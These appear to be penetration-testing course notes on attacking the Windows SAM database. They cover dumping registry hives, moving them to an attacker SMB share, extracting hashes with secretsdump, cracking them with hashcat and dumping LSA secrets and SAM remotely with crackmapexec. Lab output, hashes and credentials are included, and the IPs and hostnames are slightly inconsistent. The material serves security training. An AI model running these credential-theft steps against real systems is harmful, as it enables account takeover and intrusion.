Attacking SAM
Table of Contents
- General Information
- Download the Hash
- Transfer the file
- Dumping Hashes
- Cracking Hashes
- Dumping LSA Secrets Remotely
- Dumping SAM Remotely
General Information
Key idea:
non-domain joined Windows system -> Dump SAM hashes -> Crack offline
| Registry Hive | Description |
|---|---|
hklm\sam | Contains the hashes associated with local account passwords. We will need the hashes so we can crack them and get the user account passwords in cleartext. |
hklm\system | Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to decrypt the SAM database. |
hklm\security | Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined Windows target. |
Download the Hash
Run cmd.exe as admin, we can save the registries
C:\WINDOWS\system32> reg.exe save hklm\sam C:\sam.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\system C:\system.save
The operation completed successfully.
C:\WINDOWS\system32> reg.exe save hklm\security C:\security.save
The operation completed successfully.
Technically we only need hklm\sam & hklm\system, but hklm\security can also be helpful; it can contain hashes associated with cached domain user account credentials present on domain-joined hosts.
Transfer the file
transfer via SMB
more on Windows File Transfer
> sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/ltnbob/Documents/
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
CompData - share name; /home/ltnbob/Documents - where the share will be storing hive copies
move the register hives to the share
C:\> move sam.save \\10.10.14.110\CompData
1 file(s) moved.
C:\> move security.save \\10.10.15.16\CompData
1 file(s) moved.
C:\> move system.save \\10.10.15.16\CompData
1 file(s) moved.
Dumping Hashes
locate secretsdump
python3 /usr/share/doc/python3-impacket/examples/secretsdump.py -sam sam.save -security security.save -system system.save LOCAL
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x4d8c7cff8a543fbf245a363d2ffce518
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:3dd5a5ef0ed25b8d6add8b2805cce06b:::
defaultuser0:1000:aad3b435b51404eeaad3b435b51404ee:683b72db605d064397cf503802b51857:::
bob:1001:aad3b435b51404eeaad3b435b51404ee:64f12cddaa88057e06a81b54e73b949b:::
sam:1002:aad3b435b51404eeaad3b435b51404ee:6f8c3f4d3869a10f3b4f0522f537fd33:::
rocky:1003:aad3b435b51404eeaad3b435b51404ee:184ecdda8cf1dd238d438c4aea4d560d:::
ITlocal:1004:aad3b435b51404eeaad3b435b51404ee:f7eb9c06fafaa23c4bcf22ba6781c1e2:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DPAPI_SYSTEM
dpapi_machinekey:0xb1e1744d2dc4403f9fb0420d84c3299ba28f0643
dpapi_userkey:0x7995f82c5de363cc012ca6094d381671506fd362
[*] NL$KM
0000 D7 0A F4 B9 1E 3E 77 34 94 8F C4 7D AC 8F 60 69 .....>w4...}..`i
0010 52 E1 2B 74 FF B2 08 5F 59 FE 32 19 D6 A7 2C F8 R.+t..._Y.2...,.
0020 E2 A4 80 E0 0F 3D F8 48 44 98 87 E1 C9 CD 4B 28 .....=.HD.....K(
0030 9B 7B 8B BF 3D 59 DB 90 D8 C7 AB 62 93 30 6A 42 .{..=Y.....b.0jB
NL$KM:d70af4b91e3e7734948fc47dac8f606952e12b74ffb2085f59fe3219d6a72cf8e2a480e00f3df848449887e1c9cd4b289b7b8bbf3d59db90d8c7ab6293306a42
[*] Cleaning up...
Dumping local SAM hashes (uid:rid:lmhash:nthash) tells us what hashes we can crack. Most modern Windows operating systems store the password as an NT hash. OSs older than Windows Vista & Windows Server 2008 store passwords as an LM hash, so only cracking those if older Windows OS.
Cracking Hashes
> sudo vim hashestocrack.txt
64f12cddaa88057e06a81b54e73b949b
31d6cfe0d16ae931b73c59d7e0c089c0
6f8c3f4d3869a10f3b4f0522f537fd33
184ecdda8cf1dd238d438c4aea4d560d
f7eb9c06fafaa23c4bcf22ba6781c1e2
sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt
if we can't crack it, try PtH
Dumping LSA Secrets Remotely
crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --lsa
SMB 10.129.42.198 445 WS01 [*] Windows 10.0 Build 18362 x64 (name:FRONTDESK01) (domain:FRONTDESK01) (signing:False) (SMBv1:False)
SMB 10.129.42.198 445 WS01 [+] WS01\bob:HTB_@cademy_stdnt!(Pwn3d!)
SMB 10.129.42.198 445 WS01 [+] Dumping LSA secrets
SMB 10.129.42.198 445 WS01 WS01\worker:Hello123
SMB 10.129.42.198 445 WS01 dpapi_machinekey:0xc03a4a9b2c045e545543f3dcb9c181bb17d6bdce
dpapi_userkey:0x50b9fa0fd79452150111357308748f7ca101944a
SMB 10.129.42.198 445 WS01 NL$KM:e4fe184b25468118bf23f5a32ae836976ba492b3a432deb3911746b8ec63c451a70c1826e9145aa2f3421b98ed0cbd9a0c1a1befacb376c590fa7b56ca1b488b
SMB 10.129.42.198 445 WS01 [+] Dumped 3 LSA secrets to /home/bob/.cme/logs/FRONTDESK01_10.129.42.198_2022-02-07_155623.secrets and /home/bob/.cme/logs/FRONTDESK01_10.129.42.198_2022-02-07_155623.cached
Dumping SAM Remotely
crackmapexec smb 10.129.42.198 --local-auth -u bob -p HTB_@cademy_stdnt! --sam
SMB 10.129.42.198 445 WS01 [*] Windows 10.0 Build 18362 x64 (name:FRONTDESK01) (domain:WS01) (signing:False) (SMBv1:False)
SMB 10.129.42.198 445 WS01 [+] FRONTDESK01\bob:HTB_@cademy_stdnt! (Pwn3d!)
SMB 10.129.42.198 445 WS01 [+] Dumping SAM hashes
SMB 10.129.42.198 445 WS01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.129.42.198 445 WS01 Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.129.42.198 445 WS01 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 10.129.42.198 445 WS01 WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:72639bbb94990305b5a015220f8de34e:::
SMB 10.129.42.198 445 WS01 bob:1001:aad3b435b51404eeaad3b435b51404ee:cf3a5525ee9414229e66279623ed5c58:::
SMB 10.129.42.198 445 WS01 sam:1002:aad3b435b51404eeaad3b435b51404ee:a3ecf31e65208382e23b3420a34208fc:::
SMB 10.129.42.198 445 WS01 rocky:1003:aad3b435b51404eeaad3b435b51404ee:c02478537b9727d391bc80011c2e2321:::
SMB 10.129.42.198 445 WS01 worker:1004:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71:::
SMB 10.129.42.198 445 WS01 [+] Added 8 SAM hashes to the database